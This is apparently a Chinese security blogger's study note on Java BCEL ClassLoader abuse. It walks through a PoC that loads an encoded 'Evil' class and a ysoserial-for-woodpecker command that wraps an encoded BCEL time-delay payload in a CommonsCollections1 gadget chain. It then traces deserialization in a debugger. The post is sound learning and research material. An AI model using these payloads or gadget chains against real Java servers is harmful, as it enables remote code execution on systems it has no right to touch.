BCEL是什么?

BCEL ClassLoader 本质上是一个自定义的类加载器,属于 Apache Commons BCEL(Byte Code Engineering Library)项目的一部分,主要利用于动态加载和解析 Java 字节码

类名com.sun.org.apache.bcel.internal.util.ClassLoader

其重写了 Java 的 ClassLoader#loadClass() 方法,可以识别以$$$BCEL$$$开头的字符串,将其解码为字节码并加载为 Java 类;相比于原生的ClassLoader,其不能够直接加载嵌入在字符串中的字节码,必须提供类路径或 URL

由此可见,BCEL ClassLoader 提供了一种更便捷的方式,但同时也带来了安全问题

JDK 1.8.0_251以前,其属于原生类,再这之后需要引入第三方库

BCEL攻击原理

BCEL ClassLoader先识别以 $$$BCEL$$$ 开头的字符串,随后将其转换为类字节码,最后使用defineClass注册解码后的类,接着就可以加载恶意类

这里我使用的JDK版本为1.7.0_80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Main {
public static void main(String[] args) {
try {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String bcelCode = Utility.encode(javaClass.getBytes(), true);
System.out.println("BCEL编码: $$BCEL$$" + bcelCode);

new ClassLoader().loadClass("$$BCEL$$" + bcelCode).newInstance();

} catch (Exception e) {
e.printStackTrace();
}
}
}

image-20251002214840540

我们看到\com\sun\org\apache\bcel\internal\util\ClassLoader.java line128

  1. 首先会识别$$$BECL$$$开头的编码,当类名包含$$$BCEL$$$时,调用createClass()方法

    image-20251003152543571

  2. 跟进到createClass(),先提取$$$BCEL$$$后面的字符串作为实际的编码内容,并使用BCEL的Utility.decode()方法解码压缩的字节码,最后创建ClassParser解析字节数组

    image-20251003152803346

  3. 继续跟进,可以看到这些字节数组最后由defineClass()注册加载,最后newInstance成实例弹出计算器

    image-20251003154018162

BCEL配合Gadgets在Fuzz下的延时利用

一般用于不出网,无回显的情况下查看链子是否生效的做法,不管链子是啥,核心点在于目标JDK版本下是否有原生BCEL依赖(以及链子本身的依赖),在最终构造触发点时一定是通过BCEL ClassLoader

1
2
3
new com.sun.org.apache.bcel.internal.util.ClassLoader()
.loadClass("$$BCEL$$...")
.newInstance();

这里借助一个ysoserial-for-woodpecker二开工具,里面内置了许多方法,帮助我们省去构造特定链子的步骤,这里以CC1举例

BCEL字符串是一个延时10s的利用类

1
java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections1 -a "bcel:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dRMK$c3$40$Q$7d$db$sM$h$a3$adUk$fd$fe$b8$a8$3d$Y$f0$aaxP$U$aa$a9$kZz$U$b6$e9b$a3i$S$d6T$f4$Xy$eeE$c5$83$3f$c0$l$r$ce$aeU$R$c4$81$9da$de$ec$bc$f7X$f6$ed$fd$e5$V$c0$O$d6m$e41kB$c7F$c9F$Vs$W$e6m$98X$b0$b0ha$89$n$b7$XDA$ba$cf$90$dd$dcj3$Y$87qW0$U$bd$m$Sg$83$7eG$c8$W$ef$84$84$94$bd$d8$e7a$9b$cb$40$f5$p$d0H$7b$c1$NC$d5k$88$7e$y$ef$9b$3d$R$86$ee$c1$e1$91$e7$de$84B$q$bb$M$f9$3d$3f$i$J0ZX$f5$ae$f8$zwC$k$5d$ba$f5$u$VR$O$92Tt$8f$ee$7c$91$a4A$i$d1$c6x3$e5$feu$83$tZ$83$ec2$d8$cdx$m$7dq$i$uM$5bSo$x$k$H$F$d8$W$96$j$ac$60$95a$f9$7fn$Hk$b0$Z$w$7f$7be$u$fd$ac$9fw$ae$84$9f$fe$82Z$3d$vx$97$c1$i$dd66O$d4$7b$V$T$ZD$a9$b6$dc$92$dc$X$a4a$d1$a3$ab$c8$80$v$7f$94$c7$a8s$a92$aaf$ed$Jl$a8$c7$O$e5$9c$G$b3$Y$a7$ec$7c$5e$c0$E$8aT$f3$u$7d$__h2$a08$8d$cc3$8c$H$e4Ok$8f$c8$N5$98$p$V$93$u$U$5d$F$a6F$UV$m$t$ea$DLP$fe$a2$b7a$60$Se$ea$a6$e8X$c8$d4$zL$h4$98$d1$8e$w$l$84$cfe$82$3b$C$A$A" | base64 -w0

image-20251006210739526

构造调试

我们可以具体看看这里是如何构造的,首先这里会加载到CommonsCollections1

image-20251007145221765

跟进到getObject()方法

image-20251007145844606

再进入到getTransformerList()方法,其必然会有识别以bcel开头的字符串,再将标准的BCEL字符串写入

image-20251007150536438

image-20251007150457210

果不其然,这里识别后进行截断,获取BCEL ClassLoader后进行Transformer链的构造,

反序列化调试

至此,我们再进行反序列化的调试加深对其内部逻辑的理解,这里我写了一个简单的demo(针对JDK7u80)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import sun.misc.BASE64Decoder;

public class Main {
public static void main(String[] args) throws Exception {
String base64Payload = "";

BASE64Decoder decoder = new BASE64Decoder();
byte[] payloadBytes = decoder.decodeBuffer(base64Payload);
long startTime = System.nanoTime();

try {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payloadBytes))) {
Object obj = ois.readObject();
System.out.println("反序列化完成: " + obj.getClass().getName());
}
} finally {
long endTime = System.nanoTime();
long ttime = endTime - startTime;
System.out.println("耗时: " + ttime / 1000000000.0 + " 秒");
}
}
}

Object obj = ois.readObject();这里下断点

image-20251007163305172

跟进readObject0(),会根据类型码(tc:识别流中不同类型的序列化数据,并分发给相应的处理方法进行解析)分发到不同的读取方法,对于CC1 payload会走TC_OBJECT,即普通对象

image-20251007164215956

继续跟进readOrdinaryObject(),了解具体如何读取普通对象

image-20251007164435056

跟进readClassDesc()

image-20251007164723474

这里会调用readNonProxyDesc()读取详细的类信息,具体跟进readClassDescriptor()这是获取目标入口类描述信息的关键方法

image-20251007170047218

desc.readNonProxy(this);会直接从序列化流中按照固定的协议格式二进制解析类元数据

image-20251007170223127

这里我们看到了熟悉的CC1链的入口类sun.reflect.annotation.AnnotationInvocationHandler

此时调用栈:

image-20251007202047883

回到刚才的readOrdinaryObject(),在获取了入口类描述符后,会实例化对象,检测是否有自定义反序列化逻辑,显然这里是没有的,便进入到默认的Serializable接口readSerialData(),看看后续是如何读取序列化数据的

image-20251007171856231

跟进invokeReadObject(),这里通过反射去调用目标类的readObject(),我们继续跟进

image-20251007172015287

中间反射调用的跟进我们忽略,此时调用栈:

image-20251007202451334

之后就是CC1链子的标准触发, 我们可以给LazyMapget 方法下断点

image-20251007203056395

1
entrySet:-1, $Proxy0 (com.sun.proxy)

这里行号是-1,通过动态代理机制调用了LazyMap.get("entrySet"),其原理这里不做赘述,我们再给transform下断点,至此执行6个Transformer

image-20251007203925493

调用BCEL ClassLoader

image-20251007204649349

解析BCEL字符串

image-20251007204828306

这里就在延时了

image-20251007204850695

至此整个过程就分析的差不多了

值得一提的是,为什么花了大量篇幅来进行调试,主要是让自己更深刻的理解反序列化这一过程,以前其实也开始了Java反序列化的学习,但是总感觉只是拙劣的模仿;这次不管是对工具构造的调试,还是反序列化本身的调试,都使自己对接下来Java安全的学习有个数,也不再是学完了一个知识点还总有些空落落的感觉了

其它

Fastjson BCEL Payload
Thymeleaf SSTI Payload

网上普遍看到BCEL在以上两种场景下的应用,不过自己对FastjsonThymeleaf没有很深刻的认识,也是在这里插个眼以后接着学习,个人感觉触发点的逻辑其实也是大同小异的